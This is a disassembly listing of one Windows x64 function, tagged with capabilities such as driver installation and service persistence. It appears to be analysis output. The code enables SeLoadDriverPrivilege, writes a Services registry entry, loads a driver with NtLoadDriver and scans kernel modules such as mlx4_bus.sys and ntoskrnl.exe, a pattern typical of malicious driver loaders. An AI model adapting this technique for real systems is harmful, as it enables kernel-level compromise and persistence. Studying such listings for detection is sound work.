Function at 0x140069260
Capabilities:
Get system information on windows
Install driver
Make suspicious ntquerysysteminformation call
Parse pe header
Persist via windows service
Set registry value

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x2a8]
sub rsp, 0x380
movaps xmmword [rax - 0x38], xmm6
mov rax, qword [0x1402fe080]
xor rax, rsp
mov qword [rbp + 0x260], rax
xor r12d, r12d
mov eax, r12d
mov dword [rbp - 0x60], eax
mov dword [rbp - 0x30], eax
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll__time64]
mov qword [rbp + 0xf8], rax
lea rcx, [rbp + 0xf8]
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll__localtime64]
mov rax, qword [0x1402ff548]
mov ecx, 0x5a4d
cmp word [rax], cx
je 0x1400692d9
mov r14d, r12d
jmp 0x1400692eb
movsxd r14, dword [rax + 0x3c]
add r14, rax
cmp dword [r14], 0x4550
cmovne r14, r12
mov qword [rbp - 0x78], r14
mov rbx, r12
mov dword [rbp - 0x30], r12d
lea r9, [rbp - 0x30]
xor r8d, r8d
xor edx, edx
mov ecx, ntohs
call qword [sym.imp.ntdll.dll_NtQuerySystemInformation]
cmp eax, 0xc0000004
jne 0x140069359
xor edx, edx
mov r8d, 0x8000
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov edx, dword [rbp - 0x30]
xor ecx, ecx
mov r9d, 4
mov r8d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rbx, rax
lea r9, [rbp - 0x30]
mov r8d, dword [rbp - 0x30]
mov rdx, rax
mov ecx, ntohs
call qword [sym.imp.ntdll.dll_NtQuerySystemInformation]
cmp eax, 0xc0000004
je 0x140069311
test eax, eax
js 0x14006941b
mov edi, r12d
cmp dword [rbx], r12d
jbe 0x14006941b
nop dword [rax]
mov eax, edi
imul rcx, rax, 0x128
lea rsi, [rcx + rbx]
movzx edx, word [rsi + 0x2e]
add rdx, 0x30
add rdx, rcx
add rdx, rbx
xorps xmm0, xmm0
movups xmmword [rbp + 0x30], xmm0
mov qword [rbp + 0x40], r12
mov qword [rbp + 0x48], r12
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rdx + r8], r12b
jne 0x1400693a1
lea rcx, [rbp + 0x30]
call fcn.140031e50
lea rcx, [rbp + 0x30]
cmp qword [rbp + 0x48], 0xf
cmova rcx, qword [rbp + 0x30]
lea rdx, str.mlx4_bus.sys
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__stricmp]
test eax, eax
je 0x1400694dc
mov rdx, qword [rbp + 0x48]
cmp rdx, 0xf
jbe 0x140069411
inc rdx
mov rcx, qword [rbp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14006940c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140069523
call fcn.1400d6a14
inc edi
cmp edi, dword [rbx]
jb 0x140069370
mov r8d, 0x8000
xor edx, edx
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualFree]
cmp dword [r14], 0x4550
jne 0x14006b073
mov ebx, dword [r14 + 0x50]
mov dword [rbp + 0x50], ebx
mov eax, dword [0x1402eb9d8]
mov dword [rbp - 0x70], eax
movzx eax, word [0x1402eb9dc]
mov word [rbp - 0x6c], ax
xorps xmm0, xmm0
movups xmmword [rbp + 0x78], xmm0
mov qword [rbp + 0x88], r12
mov qword [rbp + 0x90], r12
mov r8d, ntohs
lea rdx, str.mlx4_bus.sys
lea rcx, [rbp + 0x78]
call fcn.140031e50
mov r9d, ebx
lea r8, [rbp - 0x70]
lea rdx, [rbp + 0x78]
lea rcx, [rbp + 0x100]
call fcn.140066f40
nop
cmp dword [rbp + 0x148], 0
je 0x14006b067
lea rdx, str.SeLoadDriverPrivilege
lea rcx, [rsp + 0x48]
call fcn.14006d150
mov qword [rbp - 0x70], r12
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
lea r8, [rbp - 0x70]
mov edx, Ordinal_41
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
jne 0x14006953d
mov bl, 1
jmp 0x1400695b0
mov rdi, qword [rsi + 0x18]
xor edx, edx
mov r8d, 0x8000
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov rdx, qword [rbp + 0x48]
cmp rdx, 0xf
jbe 0x14006952f
inc rdx
mov rcx, qword [rbp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14006952a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14006952a
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400d6a14
test rdi, rdi
jne 0x14006b073
jmp 0x14006942c
mov qword [rbp - 0x30], r12
lea rdx, [rsp + 0x48]
cmp qword [rsp + 0x60], 7
cmova rdx, qword [rsp + 0x48]
lea r8, [rbp - 0x30]
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueW]
test eax, eax
jne 0x140069566
mov bl, 1
jmp 0x1400695b0
mov dword [rbp - 0x50], 1
mov rax, qword [rbp - 0x30]
mov qword [rbp - 0x4c], rax
mov dword [rbp - 0x44], 2
mov qword [rsp + 0x28], r12
mov qword [rsp + 0x20], r12
mov r9d, reloc.WS2_32.dll_recv
lea r8, [rbp - 0x50]
xor edx, edx
mov rcx, qword [rbp - 0x70]
call qword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
test eax, eax
jne 0x1400695a4
mov bl, 1
jmp 0x1400695b0
mov rcx, qword [rbp - 0x70]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor bl, bl
mov rdx, qword [rsp + 0x60]
cmp rdx, 7
jbe 0x1400695f5
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400695f0
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400695f0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400d6a14
lea rsi, [0x1402fe1c0]
movdqa xmm6, xmmword [0x1402ebde0]
test bl, bl
je 0x140069610
mov r15d, r12d
jmp 0x140069ab6
mov rdi, qword [rbp + 0x110]
lea rbx, [rbp + 0x100]
cmp qword [rbp + 0x118], 0xf
cmova rbx, qword [rbp + 0x100]
call fcn.1400d5d88
mov qword [rbp - 0x50], rbx
mov qword [rbp - 0x48], rdi
lea r8, [rbp - 0x50]
mov edx, eax
lea rcx, [rbp + 0x58]
call fcn.140065190
mov dword [rbp - 0x30], 3
mov qword [rbp - 0x50], r12
mov qword [rbp - 0x48], rsi
lea r8, [rbp - 0x50]
lea rdx, [rbp + 0x58]
lea rcx, [rbp + 0x30]
call fcn.140066220
mov dword [rbp - 0x30], 7
cmp dword [rbp - 0x50], 0
jne 0x14006b0c7
lea rax, [rbp + 0x30]
cmp qword [rbp + 0x48], 7
cmova rax, qword [rbp + 0x30]
mov qword [rbp - 0x50], rax
mov rax, qword [rbp + 0x40]
mov qword [rbp - 0x48], rax
call fcn.1400d5d88
movaps xmm0, xmmword [rbp - 0x50]
movdqa xmmword [rbp - 0x50], xmm0
lea r8, [rbp - 0x50]
mov edx, eax
lea rcx, [rsp + 0x48]
call fcn.140070670
mov dword [rbp - 0x30], 0x3f
lea r8, [rsp + 0x48]
lea rcx, [rsp + 0x68]
call fcn.14006e570
mov rbx, rax
xorps xmm0, xmm0
movups xmmword [rbp - 0x10], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp], xmm1
mov r8d, Ordinal_35
lea rdx, str.SystemCurrentControlSetServices_
lea rcx, [rbp - 0x10]
call fcn.140031e50
nop
lea rdx, [rbp + 0x120]
cmp qword [rbp + 0x138], 0xf
cmova rdx, qword [rbp + 0x120]
mov r8, qword [rbp + 0x130]
lea rcx, [rbp - 0x10]
call fcn.14006db90
lea rdx, [rbp - 0x10]
cmp qword [rbp + 8], 0xf
cmova rdx, qword [rbp - 0x10]
lea r8, [rbp - 0x60]
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
test eax, eax
je 0x14006977e
mov rdx, qword [rbp + 8]
cmp rdx, 0xf
jbe 0x140069777
inc rdx
mov rcx, qword [rbp - 0x10]
cmp rdx, 0x1000
mov rax, rcx
jb 0x140069772
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140069895
call fcn.1400d6a14
mov bl, 1
jmp 0x1400698a6
mov byte [rbp - 0x66], 1
mov dword [rsp + 0x28], 4
lea rax, [rbp - 0x66]
mov qword [rsp + 0x20], rax
mov r9d, 4
xor r8d, r8d
lea rdx, str.Type
mov rcx, qword [rbp - 0x60]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
jne 0x14006973c
mov byte [rbp - 0x65], 3
mov dword [rsp + 0x28], 4
lea rax, [rbp - 0x65]
mov qword [rsp + 0x20], rax
mov r9d, 4
xor r8d, r8d
lea rdx, str.ErrorControl
mov rcx, qword [rbp - 0x60]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
jne 0x14006973c
mov byte [rbp - 0x67], 3
mov dword [rsp + 0x28], 4
lea rax, [rbp - 0x67]
mov qword [rsp + 0x20], rax
mov r9d, 4
xor r8d, r8d
lea rdx, str.Start
mov rcx, qword [rbp - 0x60]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
jne 0x14006973c
mov eax, dword [rbx + 0x10]
cmp qword [rbx + 0x18], 0xf
jbe 0x14006982c
mov rbx, qword [rbx]
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], rbx
mov r9d, 1
xor r8d, r8d
lea rdx, str.ImagePath
mov rcx, qword [rbp - 0x60]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
jne 0x14006973c
mov rcx, qword [rbp - 0x60]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ebx, eax
mov rdx, qword [rbp + 8]
cmp rdx, 0xf
jbe 0x1400698a1
inc rdx
mov rcx, qword [rbp - 0x10]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14006989c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14006989c
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400d6a14
test ebx, ebx
setne bl
mov rdx, qword [rbp - 0x80]
cmp rdx, 0xf
jbe 0x1400698e5
inc rdx
mov rcx, qword [rsp + 0x68]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400698e0
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400698e0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400d6a14
movdqu xmmword [rsp + 0x78], xmm6
mov byte [rsp + 0x68], 0
mov rdx, qword [rsp + 0x60]
cmp rdx, 0xf
jbe 0x140069930
inc rdx
mov rcx, qword [rsp + 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14006992b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14006992b
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400d6a14
movdqu xmmword [rsp + 0x58], xmm6
mov byte [rsp + 0x48], 0
mov eax, Ordinal_60
mov dword [rbp - 0x60], eax
mov rdx, qword [rbp + 0x48]
cmp rdx, 7
jbe 0x140069986
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140069981
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140069981
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400d6a14
movdqa xmm0, xmmword [0x1402ebdc0]
movdqu xmmword [rbp + 0x40], xmm0
mov word [rbp + 0x30], r12w
mov rdx, qword [rbp + 0x70]
cmp rdx, 7
jbe 0x1400699db
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x58]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400699d6
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400699d6
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400d6a14
test bl, bl
je 0x1400699e7
mov r15d, r12d
jmp 0x140069ab6
xorps xmm0, xmm0
movups xmmword [rbp + 0x10], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x20], xmm1
mov r8d, gethostname
lea rdx, str.RegistryMachineSystemCurrentControlSetServices_
lea rcx, [rbp + 0x10]
call fcn.140031e50
nop
lea rdx, [rbp + 0x120]
cmp qword [rbp + 0x138], 0xf
cmova rdx, qword [rbp + 0x120]
mov r8, qword [rbp + 0x130]
lea rcx, [rbp + 0x10]
call fcn.14006db90
lea rdx, [rbp + 0x10]
cmp qword [rbp + 0x28], 0xf
cmova rdx, qword [rbp + 0x10]
lea rcx, [rbp + 0xe8]
call qword [sym.imp.ntdll.dll_RtlInitAnsiString]
mov r8b, 1
lea rdx, [rbp + 0xe8]
lea rcx, [rbp - 0x20]
call qword [sym.imp.ntdll.dll_RtlAnsiStringToUnicodeString]
lea rcx, [rbp - 0x20]
call qword [sym.imp.ntdll.dll_NtLoadDriver]
mov ebx, eax
mov rdx, qword [rbp + 0x28]
cmp rdx, 0xf
jbe 0x140069aad
inc rdx
mov rcx, qword [rbp + 0x10]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140069aa8
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140069aa8
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400d6a14
mov r15d, r12d
test ebx, ebx
sete r15b
lea r14, [rbp + 0x120]
cmp qword [rbp + 0x138], 0xf
cmova r14, qword [rbp + 0x120]
mov rbx, r12
mov dword [rbp - 0x70], r12d
lea r9, [rbp - 0x70]
xor r8d, r8d
xor edx, edx
mov ecx, ntohs
call qword [sym.imp.ntdll.dll_NtQuerySystemInformation]
cmp eax, 0xc0000004
jne 0x140069b38
nop
xor edx, edx
mov r8d, 0x8000
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov edx, dword [rbp - 0x70]
xor ecx, ecx
mov r9d, 4
mov r8d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rbx, rax
lea r9, [rbp - 0x70]
mov r8d, dword [rbp - 0x70]
mov rdx, rax
mov ecx, ntohs
call qword [sym.imp.ntdll.dll_NtQuerySystemInformation]
cmp eax, 0xc0000004
je 0x140069af0
test eax, eax
js 0x140069bf8
mov edi, r12d
cmp dword [rbx], r12d
jbe 0x140069bf8
nop dword [rax]
mov eax, edi
imul rcx, rax, 0x128
lea rsi, [rbx + rcx]
movzx eax, word [rsi + 0x2e]
add rax, rbx
lea rdx, [rcx + 0x30]
add rdx, rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x30], xmm0
mov qword [rbp + 0x40], r12
mov qword [rbp + 0x48], r12
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rdx + r8], 0
jne 0x140069b81
lea rcx, [rbp + 0x30]
call fcn.140031e50
lea rcx, [rbp + 0x30]
cmp qword [rbp + 0x48], 0xf
cmova rcx, qword [rbp + 0x30]
mov rdx, r14
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__stricmp]
test eax, eax
je 0x140069ee0
mov rdx, qword [rbp + 0x48]
cmp rdx, 0xf
jbe 0x140069bee
inc rdx
mov rcx, qword [rbp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140069be9
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140069f27
call fcn.1400d6a14
inc edi
cmp edi, dword [rbx]
jb 0x140069b50
mov r8d, 0x8000
xor edx, edx
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov rdi, r12
cmp r15d, 1
ja 0x14006b067
test rdi, rdi
je 0x14006b067
mov r14d, dword [rbp + 0x140]
add r14, rdi
mov qword [rsp + 0x40], r14
mov rbx, r12
mov dword [rbp - 0x30], r12d
lea r9, [rbp - 0x30]
xor r8d, r8d
xor edx, edx
mov ecx, ntohs
call qword [sym.imp.ntdll.dll_NtQuerySystemInformation]
cmp eax, 0xc0000004
jne 0x140069c98
xor edx, edx
mov r8d, 0x8000
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov edx, dword [rbp - 0x30]
xor ecx, ecx
mov r9d, 4
mov r8d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rbx, rax
lea r9, [rbp - 0x30]
mov r8d, dword [rbp - 0x30]
mov rdx, rax
mov ecx, ntohs
call qword [sym.imp.ntdll.dll_NtQuerySystemInformation]
cmp eax, 0xc0000004
je 0x140069c50
test eax, eax
js 0x140069d5b
mov edi, r12d
cmp dword [rbx], r12d
jbe 0x140069d5b
nop dword [rax]
mov eax, edi
imul rcx, rax, 0x128
movzx edx, word [rcx + rbx + 0x2e]
add rdx, 0x30
add rdx, rcx
add rdx, rbx
xorps xmm0, xmm0
movups xmmword [rbp + 0x10], xmm0
mov qword [rbp + 0x20], r12
mov qword [rbp + 0x28], r12
mov r8, 0xffffffffffffffff
nop
inc r8
cmp byte [rdx + r8], 0
jne 0x140069ce0
lea rcx, [rbp + 0x10]
call fcn.140031e50
lea rcx, [rbp + 0x10]
cmp qword [rbp + 0x28], 0xf
cmova rcx, qword [rbp + 0x10]
lea rdx, str.ntoskrnl.exe
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__stricmp]
test eax, eax
je 0x140069f48
mov rdx, qword [rbp + 0x28]
cmp rdx, 0xf
jbe 0x140069d51
inc rdx
mov rcx, qword [rbp + 0x10]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140069d4c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140069f8f
call fcn.1400d6a14
inc edi
cmp edi, dword [rbx]
jb 0x140069cb0
xor edx, edx
mov r8d, 0x8000
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualFree]
call fcn.1400665e0
mov r13, rax
call fcn.1400669f0
mov r12, rax
test r13, r13
je 0x14006b067
test rax, rax
je 0x14006b067
lea rcx, str.user32.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x10], xmm1
xor r15d, r15d
mov qword [rbp], r15
mov ecx, 0x6677
call fcn.1400d69d0
test rax, rax
je 0x14006b0aa
lea rbx, [rax + 0x27]
and rbx, 0xffffffffffffffe0
mov qword [rbx - 8], rax
mov qword [rbp - 0x10], rbx
lea rax, [rbx + 0x6650]
mov qword [rbp], rax
mov r8d, 0x6650
lea rdx, [0x1402dbde0]
mov rcx, rbx
call sub.VCRUNTIME140.dll_memmove
lea rax, [rbx + 0x6650]
mov qword [rbp - 8], rax
lea rdx, [rbp + 0x10]
call fcn.140067a80
nop
lea rcx, [rsp + 0x68]
call fcn.140066480
nop
mov rcx, rax
cmp qword [rax + 0x18], 7
jbe 0x140069e1a
mov rcx, qword [rax]
mov rax, qword [rax + 0x10]
mov qword [rbp - 0x50], rcx
mov qword [rbp - 0x48], rax
call fcn.1400d5d88
movaps xmm0, xmmword [rbp - 0x50]
movdqa xmmword [rbp - 0x50], xmm0
lea r8, [rbp - 0x50]
mov edx, eax
lea rcx, [rbp + 0x78]
call fcn.140070670
mov esi, dword [rbp - 0x60]
or esi, 0x1c00
lea rdx, [rbp + 0x10]
cmp qword [rbp + 0x28], 0xf
cmova rdx, qword [rbp + 0x10]
mov r8, qword [rbp + 0x20]
lea rcx, [rbp + 0x78]
call fcn.14006db90
xorps xmm0, xmm0
movups xmmword [rbp + 0x58], xmm0
mov qword [rbp + 0x68], r15
mov qword [rbp + 0x70], r15
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x58], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x68], xmm1
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], 0
bts esi, 0xd
mov rdx, qword [rbp + 0x90]
cmp rdx, 0xf
jbe 0x140069fa5
inc rdx
mov rcx, qword [rbp + 0x78]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140069fa0
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140069fa0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
mov rdi, qword [rsi + 0x18]
xor edx, edx
mov r8d, 0x8000
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov rdx, qword [rbp + 0x48]
cmp rdx, 0xf
jbe 0x140069f33
inc rdx
mov rcx, qword [rbp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140069f2e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140069f2e
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400d6a14
mov qword [rbp + 0x40], r12
mov qword [rbp + 0x48], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x30], 0
jmp 0x140069c0c
xor edx, edx
mov r8d, 0x8000
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov rdx, qword [rbp + 0x28]
cmp rdx, 0xf
jbe 0x140069d6c
inc rdx
mov rcx, qword [rbp + 0x10]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140069f96
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140069f96
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400d6a14
jmp 0x140069d6c
call fcn.1400d6a14
movdqu xmmword [rbp + 0x88], xmm6
mov byte [rbp + 0x78], 0
mov rdx, qword [rbp - 0x80]
cmp rdx, 7
jbe 0x140069ff5
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x68]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140069ff0
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140069ff0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400d6a14
movdqa xmm0, xmmword [0x1402ebdc0]
movdqu xmmword [rsp + 0x78], xmm0
mov word [rsp + 0x68], r15w
xor edx, edx
mov r8d, 0x108
lea rcx, [rbp + 0x150]
call fcn.1400d7aca
lea rdx, [rbp + 0x58]
cmp qword [rbp + 0x70], 0xf
cmova rdx, qword [rbp + 0x58]
lea rcx, [rbp + 0x150]
call fcn.14006c2f0
nop
mov r8, qword [rbp - 8]
mov rdx, qword [rbp - 0x10]
sub r8, rdx
lea rcx, [rbp + 0x150]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::write_char_const____ptr64__long_long___int64_____ptr64]
lea rcx, [rbp + 0x158]
call fcn.14006d810
test rax, rax
jne 0x14006a084
mov rax, qword [rbp + 0x150]
movsxd rcx, dword [rax + 4]
lea rax, [rbp + 0x150]
add rcx, rax
xor r8d, r8d
mov edx, 2
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
lea rdx, str.SeLoadDriverPrivilege
lea rcx, [rsp + 0x48]
call fcn.14006d150
mov qword [rbp - 0x60], r15
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
lea r8, [rbp - 0x60]
mov edx, Ordinal_41
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
jne 0x14006a0b9
mov bl, 1
jmp 0x14006a12c
mov qword [rbp - 0x30], r15
lea rdx, [rsp + 0x48]
cmp qword [rsp + 0x60], 7
cmova rdx, qword [rsp + 0x48]
lea r8, [rbp - 0x30]
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueW]
test eax, eax
jne 0x14006a0e2
mov bl, 1
jmp 0x14006a12c
mov dword [rbp - 0x50], 1
mov rax, qword [rbp - 0x30]
mov qword [rbp - 0x4c], rax
mov dword [rbp - 0x44], 2
mov qword [rsp + 0x28], r15
mov qword [rsp + 0x20], r15
mov r9d, reloc.WS2_32.dll_recv
lea r8, [rbp - 0x50]
xor edx, edx
mov rcx, qword [rbp - 0x60]
call qword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
test eax, eax
jne 0x14006a120
mov bl, 1
jmp 0x14006a12c
mov rcx, qword [rbp - 0x60]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor bl, bl
mov rdx, qword [rsp + 0x60]
cmp rdx, 7
jbe 0x14006a171
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14006a16c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14006a16c
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400d6a14
test bl, bl
je 0x14006a17c
xor bl, bl
jmp 0x14006a626
mov rdi, qword [rbp + 0x68]
lea rbx, [rbp + 0x58]
cmp qword [rbp + 0x70], 0xf
cmova rbx, qword [rbp + 0x58]
call fcn.1400d5d88
mov qword [rbp - 0x50], rbx
mov qword [rbp - 0x48], rdi
lea r8, [rbp - 0x50]
mov edx, eax
lea rcx, [rsp + 0x68]
call fcn.140065190
or esi, 0xc000
mov dword [rbp - 0x30], esi
mov qword [rbp - 0x50], r15
lea rax, [0x1402fe1c0]
mov qword [rbp - 0x48], rax
lea r8, [rbp - 0x50]
lea rdx, [rsp + 0x68]
lea rcx, [rsp + 0x48]
call fcn.140066220
bts esi, 0x10
mov dword [rbp - 0x30], esi
cmp dword [rbp - 0x50], 0
jne 0x14006b0b1
lea rax, [rsp + 0x48]
cmp qword [rsp + 0x60], 7
cmova rax, qword [rsp + 0x48]
mov qword [rbp - 0x50], rax
mov rax, qword [rsp + 0x58]
mov qword [rbp - 0x48], rax
call fcn.1400d5d88
movaps xmm0, xmmword [rbp - 0x50]
movdqa xmmword [rbp - 0x50], xmm0
lea r8, [rbp - 0x50]
mov edx, eax
lea rcx, [rbp + 0x98]
call fcn.140070670
or esi, 0xe0000
mov dword [rbp - 0x30], esi
lea r8, [rbp + 0x98]
lea rcx, [rbp + 0xc0]
call fcn.14006e570
mov rbx, rax
xorps xmm0, xmm0
movups xmmword [rbp - 0x50], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x40], xmm1
mov r8d, Ordinal_35
lea rdx, str.SystemCurrentControlSetServices_
lea rcx, [rbp - 0x50]
call fcn.140031e50
nop
lea rdx, [rbp + 0x10]
cmp qword [rbp + 0x28], 0xf
cmova rdx, qword [rbp + 0x10]
mov r8, qword [rbp + 0x20]
lea rcx, [rbp - 0x50]
call fcn.14006db90
lea rdx, [rbp - 0x50]
cmp qword [rbp - 0x38], 0xf
cmova rdx, qword [rbp - 0x50]
lea r8, [rbp - 0x60]
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
test eax, eax
je 0x14006a2ea
mov rdx, qword [rbp - 0x38]
cmp rdx, 0xf
jbe 0x14006a2e3
inc rdx
mov rcx, qword [rbp - 0x50]
cmp rdx, 0x1000
mov rax, rcx
jb 0x14006a2de
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14006a401
call fcn.1400d6a14
mov bl, 1
jmp 0x14006a412
mov byte [rbp - 0x67], 1
mov dword [rsp + 0x28], 4
lea rax, [rbp - 0x67]
mov qword [rsp + 0x20], rax
mov r9d, 4
xor r8d, r8d
lea rdx, str.Type
mov rcx, qword [rbp - 0x60]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
